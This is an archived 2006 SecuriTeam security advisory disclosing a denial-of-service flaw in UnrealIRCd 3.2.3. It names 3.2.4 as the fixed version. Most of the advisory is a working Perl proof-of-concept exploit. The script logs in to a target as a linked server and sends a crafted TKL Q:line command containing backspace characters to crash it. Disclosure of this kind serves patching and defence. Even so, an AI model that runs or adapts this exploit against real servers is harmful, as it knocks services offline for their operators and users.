

[EXPL] UnrealIRCd Server–LINK Denial of Service (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-03/msg00032.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 12 Mar 2006 15:38:03 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
– – promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

UnrealIRCd Server–LINK Denial of Service (Exploit)

SUMMARY

<<http://www.unrealircd.com/>> UnrealIRCd – "One of the most feature–packed IRC servers"

UnrealIRCd is vulnerable to strings sent from a linked server for adding/removing Q:lines with special characters. Could be sent through services.

DETAILS

Vulnerable Systems:

* UnrealIRCd version 3.2.3

Immune Systems:

* UnrealIRCdversion 3.2.4

Exploit:

#!/usr/bin/perl

Denial of Service exploit for UnrealIRCd 3.2.3

[EXPL] UnrealIRCd Server–LINK Denial of Service (Exploit)

Successfully tested on both Win32 and Linux versions.
admin@xxxxxxxxxxxxxxxxxxxxxxxxx (Brandon Milner)

```
use IO::Socket;
print ("UnrealIRCd Server–Link Denial of Service exploit PoC by
Redneck\n");
```

```
#####
```

```
# Variables #
```

```
#####
```

```
$spass = ("LinkPass"); # Link Password
$server = ("your.server.name"); # Local Server name
$rsserver = ("remote.server.name"); # Link Server
$rport = (6667); # Link Port
$num = (6); # Server numeric
```

```
#####
```

```
# Create socket #
```

```
#####
```

```
my $sock = new IO::Socket::INET (
PeerAddr => $rsserver,
PeerPort => $rport,
Proto => 'tcp',
);
```

```
#####
```

```
# Connect #
```

```
#####
```

```
die "Couldn't create socket to $rsserver / $rport!\n" unless $sock;
sleep 5;
print ("connected to server");
print $sock ("PASS $spass\n");
print ("PASS $spass\n");
print $sock ("SERVER $server 1 $num :PoC by Redneck\n");
print ("SERVER $server 1 $num :PoC by Redneck\n");
sleep 5;
print $sock ("TKL – q\x08Q *\x08PoC\n");
print ("TKL – q\x08Q *\x08PoC\n");
sleep 5;
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:admin@xxxxxxxxxxxxxxxxxxxxxxxxx>>
redneck.servebeer.com.

```
=====
```

[EXPL] UnrealIRCd Server-LINK Denial of Service (Exploit)

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.